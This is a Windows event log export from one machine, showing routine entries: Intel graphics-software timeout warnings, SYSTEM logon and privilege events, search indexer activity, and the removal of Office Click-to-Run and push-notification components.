09:15:19.690\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:20.994\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:21.865\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:22.377\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:22.382\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:29.556\t1010\t\"Device SWD\\PRINTENUM\\{1F5A1788-40BD-4620-B65B-46330E9E2257} has been surprise removed as it is reported as missing on the bus.\nCount of devices removed: 1\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Device Management\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 09:15:29.568\t420\t\"Device SWD\\PRINTENUM\\{1F5A1788-40BD-4620-B65B-46330E9E2257} was deleted.\n\nClass GUID: {1ed2bbf9-11f0-4084-b21f-ad83a8e6dcdc}\"\tInformation\tMicrosoft-Windows-Kernel-PnP/Configuration\tMicrosoft-Windows-Kernel-PnP\n05.09.2026 09:15:29.707\t1013\t\"Windows Search Service stopped normally.\n\"\tInformation\tApplication\tMicrosoft-Windows-Search\n05.09.2026 09:15:30.175\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:15:30.175\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:15:30.312\t1003\t\"The Windows Search Service started.\n\"\tInformation\tApplication\tMicrosoft-Windows-Search\n05.09.2026 09:15:30.315\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x364\n\tProcess Name:\t\tC:\\Windows\\System32\\SearchIndexer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:15:30.316\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x364\n\tProcess Name:\t\tC:\\Windows\\System32\\SearchIndexer.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:15:30.333\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {23606dfe-da07-4ad7-8798-8deaced0a66e}\n           Volume Name: C:\n           Journal Id: 0x1DC755BE25CD000\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 09:15:30.339\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {b4de30fc-d998-46fa-9187-a8f915fd81fc}\n           Volume Name: D:\n           Journal Id: 0x1DCE9F9F77DCD9D\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 09:15:30.430\t501\t\"A process has deleted a USN journal on a volume.\n\n           Process: SearchIndexer.\n           Volume Id: {5285d7ae-0000-0000-0000-300432000000}\n           Volume Name: F:\n           Journal Id: 0x19DB31D0AD8ABD4\n           Current USN: 0x0\n\"\tInformation\tMicrosoft-Windows-Ntfs/Operational\tMicrosoft-Windows-Ntfs\n05.09.2026 09:15:37.136\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:37.140\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:44.091\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:45.508\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:49.218\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:52.159\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:56.727\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:15:59.718\t16394\tOffline downlevel migration succeeded.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:15:59.976\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:15:59.976\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:00.036\t1040\tBeginning a Windows Installer transaction: {90160000-008C-0000-1000-0000000FF1CE}. Client Process Id: 11964.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:03.155\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:03.374\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:03.584\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:09.380\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:09.602\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:10.149\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:10.580\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:12.212\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:12.537\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:12.857\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:12.862\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:14.461\t11724\t\u041f\u0440\u043e\u0434\u0443\u043a\u0442: Office 16 Click-to-Run Extensibility Component -- \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:14.462\t1034\tWindows Installer removed the product. Product Name: Office 16 Click-to-Run Extensibility Component. Product Version: 16.0.20326.20072. Product Language: 0. Manufacturer: Microsoft Corporation. Removal success or error status: 0.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:14.479\t1042\tEnding a Windows Installer transaction: {90160000-008C-0000-1000-0000000FF1CE}. Client Process Id: 11964.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:14.497\t1040\tBeginning a Windows Installer transaction: {90160000-008C-0419-1000-0000000FF1CE}. Client Process Id: 11964.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:17.640\t11724\t\u041f\u0440\u043e\u0434\u0443\u043a\u0442: Office 16 Click-to-Run Localization Component -- \u0423\u0434\u0430\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u043e.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:17.641\t1034\tWindows Installer removed the product. Product Name: Office 16 Click-to-Run Localization Component. Product Version: 16.0.20326.20100. Product Language: 1049. Manufacturer: Microsoft Corporation. Removal success or error status: 0.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:17.647\t1042\tEnding a Windows Installer transaction: {90160000-008C-0419-1000-0000000FF1CE}. Client Process Id: 11964.\tInformation\tApplication\tMsiInstaller\n05.09.2026 09:16:19.685\t1002\tError 0x80070002 occurred while verifying known folder {c4900540-2379-4c75-844b-64e6faf8716b} with path 'C:\\Users\\Public\\Pictures\\Sample Pictures'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:16:19.686\t1002\tError 0x80070002 occurred while verifying known folder {b250c668-f57d-4ee1-a63c-290ee7d1aa1f} with path 'C:\\Users\\Public\\Music\\Sample Music'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:16:19.688\t1002\tError 0x80070002 occurred while verifying known folder {859ead94-2e85-48ad-a71a-0969cb56a6cd} with path 'C:\\Users\\Public\\Videos\\Sample Videos'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:16:19.688\t1002\tError 0x80070002 occurred while verifying known folder {a440879f-87a0-4f7d-b700-0207b966194a} with path 'C:\\ProgramData\\Microsoft\\Windows\\Start Menu Places'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:16:19.689\t1002\tError 0x80070002 occurred while verifying known folder {b88f4daa-e7bd-49a9-b74d-02885a5dc765} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Crypto'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:16:19.691\t1002\tError 0x80070002 occurred while verifying known folder {10c07cd0-ef91-4567-b850-448b77cb37f9} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Protect'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:16:19.693\t1002\tError 0x80070002 occurred while verifying known folder {915221fb-9efe-4bda-8fd7-f78dca774f87} with path 'C:\\WINDOWS\\system32\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Credentials'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 09:16:29.961\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T02:16:29Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 09:16:30.868\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:30.880\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:31.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:31.305\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:31.634\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:31.852\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:32.063\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:32.277\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:32.831\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:33.053\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:33.375\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:33.707\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:34.042\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:34.798\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:36.224\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:36.443\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:36.877\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:37.530\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:38.080\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:38.085\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"chrome\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:38.599\t28017\tAppResolver Scan Started.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:16:38.649\t28018\tAppResolver Scan Stopped.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:16:38.650\t28019\tAppResolver Cache Committed.\tInformation\tMicrosoft-Windows-Shell-Core/Operational\tMicrosoft-Windows-Shell-Core\n05.09.2026 09:16:38.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:46.925\t603\tStarted deployment DeprovisionPackageOperation operation on a package with main parameter Microsoft.OfficePushNotificationUtility_8wekyb3d8bbwe and Options 0 and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:46.943\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_4.rslc for DeprovisionPackageOperation Operation on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:46.944\t607\tDeployment DeprovisionPackageOperation operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1006.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.079\t221\tANALYZE command has run; database statistics are updated [Partition=1, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.140\t221\tANALYZE command has run; database statistics are updated [Partition=2, ProcessId=3720, Scope=(database)]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.147\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.153\t400\tDeployment DeprovisionPackageOperation operation with target volume C: on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe from:   finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.177\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:47.181\t603\tStarted deployment Remove operation on a package with main parameter Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe and Options RemoveForAllUsers and 0. See http://go.microsoft.com/fwlink/?LinkId=235160 for help diagnosing app deployment issues.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.212\t10002\tCreating Resiliency File C:\\ProgramData\\Microsoft\\Windows\\AppRepository\\05b25e39-69ab-4442-bfa6-6dda1ec0b1c4_S-1-5-21-3712849175-2219398513-4278588552-1006_5.rslc for Remove Operation on Package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.214\t607\tDeployment Remove operation on package Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe has been de-queued and is running for user SID S-1-5-21-3712849175-2219398513-4278588552-1002.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:47.223\t855\tFinished resolving action lists. DeploymentRequest action lists: removePackageList: Microsoft.OfficePushNotificationUtility_16.0.20326.20112_neutral__8wekyb3d8bbwe deferredRemovePackageFullNames: 